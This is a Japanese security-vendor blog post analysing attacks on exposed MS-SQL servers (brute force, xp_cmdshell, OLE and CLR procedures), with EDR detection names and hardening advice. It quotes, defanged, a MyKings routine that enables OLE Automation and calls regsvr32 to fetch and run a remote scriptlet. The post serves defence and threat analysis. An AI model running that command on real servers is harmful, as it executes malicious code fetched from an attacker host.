インターネットに公開されていながらも、単純なパスワードを使用している MS-SQL サーバーは、Windows システムを対象とする代表的な攻撃ベクトルの一つである。攻撃者は不適切に管理されている MS-SQL サーバーを探してスキャニングした後、総当たり攻撃や辞書攻撃を通じて管理者権限でログインできるようになる。ここまでのプロセスが終わると、攻撃者は様々な方法でマルウェアをインストールし、感染システムの制御権を獲得する。
AhnLab SEcurity intelligence Center(ASEC)では、このように不適切に管理されている MS-SQL サーバーを対象とする攻撃をモニタリングしており、新たに確認された攻撃事例をブログで公開している。例えば、最近では TargetCompany 攻撃者が MS-SQL サーバーを通じて Mallox ランサムウェア、Remcos RAT をインストールした事例が確認され[1]、Trigona ランサムウェア[2]、CobaltStrike[3]、Proxyware など、多くの攻撃者が MS-SQL サーバーを初期侵入方法として利用している。このようなランサムウェア攻撃者やコインマイナー攻撃者のほかにも、国の支援を受けているものと知られている APT グループも MS-SQL サーバーを攻撃するケースが存在するが、過去に Andariel グループが NukeSped バックドアをインストールする際にこれを使用した事例が共に確認されることもあった。[4]
AhnLab EDR(Endpoint Detection and Response)は、韓国国内で唯一の振る舞いベース解析エンジンをもとにエンドポイント領域に対して強力な脅威モニタリングと解析、対応力を提供する次世代エンドポイント脅威検知および対応ソリューションである。AhnLab EDR は、疑わしい振る舞いに関するタイプ別情報を常時収集し、検知および解析、対応の観点からユーザーが脅威を正確に認識できる機能を提供し、これによって総合的な解析を通じて原因の把握と適切な対応、再発防止プロセスを確立できる。
ここでは、初期侵入方法のうち MS-SQL サーバーを対象とする攻撃において、管理者が事前に認知し、原因の把握と適切な対応を行えるよう AhnLab EDR を活用して検知できる事例を紹介する。
1. 総当たり攻撃 / 辞書攻撃
一般的に攻撃者やマルウェアは MS-SQL サービスがインストールされた環境、すなわち 1433番ポートがオープンされたサーバーをスキャニングして探す。スキャニングプロセス以降は、総当たり攻撃や辞書攻撃で確認された MS-SQL サーバーへのログインを試みる。ここで Windows OS コマンド実行を可能にする大半の機能は sa (SQL Admin)、すなわち管理者アカウントを必要とする。
攻撃者が直接スキャニングおよび辞書攻撃を実行する代わりに、マルウェア自身が不適切に管理されている MS-SQL サーバーを対象として伝播するケースもある。代表的なものには LemonDuck コインマイナーマルウェアがあり[5](韓国語にて提供) 、以下は LemonDuck が辞書攻撃に使用する sa アカウントのパスワードリスト以下は LemonDuck が辞書攻撃に使用する sa アカウントのパスワードリストである。

LemonDuck は内部伝播、すなわちラテラルムーブメントのプロセスにおいて MS-SQL サーバーを対象に辞書攻撃を使用するが、Kingminer や[6] (外部サイト、英語にて提供) Vollgar [7](外部サイト、英語にて提供) コインマイナーは外部に開放されている MS-SQL サーバーを対象に総当たり攻撃を実行する。
AhnLab EDR は MS-SQL サーバーに sa (SQL Admin)、すなわち管理者アカウントでログインする振る舞いに対し、以下のように主な振る舞いとして検知し、管理者が事前に認知できるようサポートする。

また、総当たり攻撃や辞書攻撃を通じて多数のログイン失敗イベントが発生した場合、管理者が原因把握と適切な対処を行えるよう、以下のように主な振る舞いとして検知する。

2. コマンド実行の有効化
攻撃者またはマルウェアは、sa アカウントや sa アカウントの権限を獲得した後に、悪意のあるコマンドを実行したり、実質的なマルウェアをインストールして感染システムの制御権を獲得しようとする。参考までに、sa アカウントの権限を持っているとしても、それは MS-SQL データベースサーバーの制御権を獲得するだけであり、Windows OS 自体の制御権を獲得したわけではない。すなわち、SQL コマンドを実行することはできるが、Windows OS に影響を及ぼす振る舞いは基本的に提供しない。
しかし、MS-SQL は Windows OS で OS コマンドを実行できるようにする様々な機能をサポートしており、これを悪用すると最終的には OS コマンドを実行することができる。例えば、xp_cmdshell コマンドは引数で渡されたコマンドを Windows シェルで実行させる機能を提供する。xp_cmdshell コマンドで実行された Windows コマンドは、sqlservr.exe プロセスによって「cmd.exe /c」コマンドで実行される。
実際のマルウェアの中では LemonDuck が xp_cmdshell を利用して追加のマルウェアをダウンロードする。LemonDuck には、xp_cmdshell が無効化ではなく登録解除されている場合に備えて、これを再登録するプロセスも追加されている。

OLE ストアドプロシージャを利用する方式は、OLE の機能を悪用して他のアプリケーション、すなわち悪意のあるコマンドやマルウェアを実行させる方式である。これもまた xp_cmdshell コマンドのように無効化されているため、有効化タスクが必要である。
以下は MyKings [8]コインマイナーマルウェアが実際の攻撃に使用するルーティンを再現したものである。
CMD > sqlcmd -S [IP アドレス] -U sa -P [パスワード] 1> sp_configure ‘show advanced options’, 1; 2> RECONFIGURE; 3> go 1> sp_configure ‘Ole Automation Procedures’,1; 2> RECONFIGURE; 3> go 1> DECLARE @shell INT 2> EXEC SP_OAcreate ‘{72C24DD5-D70A-438B-8A42-98424B88AFB8}’,@shell OUTPUT 3> EXEC SP_OAMETHOD @shell,’run’,null, ‘regsvr32 /u /s /i:hxxp://js.f4321y[.]com:280/v.sct scrobj.dll’; 4> go |
MS-SQL サーバーは拡張機能を提供するために Extended Stored Procedure という方式に対応している。攻撃者は、不正な DLL を製作して登録したあと、当該 DLL を利用して不正な振る舞いを実行できる。CLR Stored Procedure は拡張ストアドプロシージャと類似しているが、.NET DLL である点が違うと言える。参考に、CLR Stored Procedure を登録して使用するには、xp_cmdshell コマンドのように有効なタスクが必要である。
上記で取り扱ったように LemonDuck は xp_cmdshell を利用することもあるが、CLR Stored Procedure も共に使用する。

AhnLab EDR は、上記の振る舞い、すなわち MS-SQL サーバーで OS コマンドを実行できるよう設定する振る舞いに対し、以下のように脅威として検知することで、管理者が事前に認知できるようにサポートする。

3. MS-SQL を利用したコマンドの実行
攻撃者は、上記のような設定まで有効にすると、侵入したシステムでコマンドを実行できるようになる。すなわち、xp_cmdshell コマンドや OLE Stored Procedure を利用して直接コマンドを実行することができ、CLR Stored Procedure で CLR SqlShell を登録したあと SqlShell でコマンドを実行できる。この場合MS-SQL サービス、すなわち sqlservr.exe がコマンドを実行する主体となる。
AhnLab EDR は MS-SQL サービスが疑わしいプロセスを実行する振る舞いに対し、以下のように主な振る舞いとして検知することで、管理者が事前に認知できるようサポートする。

4. 結論
不適切に管理されている MS-SQL サーバーは、ランサムウェア、コインマイナー、そして APT グループを含む多数の攻撃者の主なターゲットとなっている。
攻撃対象となる MS-SQL サーバーの場合、データベースサーバーとして直接構築するケース以外にも、ERP および業務用ソリューションをインストールする過程で共にインストールされることも多々ある。
管理者はアカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃からデータベースサーバーを保護する必要があり、セキュリティパッチを最新にして脆弱性攻撃を防止しなければならない。また、外部に公開されていてアクセスが可能なデータベースサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、攻撃者からのアクセスを統制する必要がある。
AhnLab EDR は、総当たり攻撃および辞書攻撃のような初期侵入段階から OS コマンドを実行できるよう、これを有効にする手法、そして最終的に MS-SQL サービスを通じてコマンドが実行される振る舞いを、脅威および主な振る舞いとして検知する。管理者はこれにより原因の把握と適切な対応を実行することができ、ランサムウェア攻撃に晒された後も攻撃対象となったシステムから攻撃者の証跡資料として侵害事例の調査に必要なデータを確認することができる。
振る舞い検知
– InitialAccess/DETECT.BruteForce.M11704
– InitialAccess/DETECT.Event.M11702
– Execution/EDR.Event.M11704
– InitialAccess/DETECT.Event.M11453
振る舞い情報検知および解析を通じたエンドポイント可視性を提供し、脅威を能動的に追跡する AhnLab EDR についての詳しい情報は AhnLab の公式 HP で確認できる。
The post AhnLab EDR を活用した MS-SQL サーバーを対象とする攻撃の検知 appeared first on ASECブログ.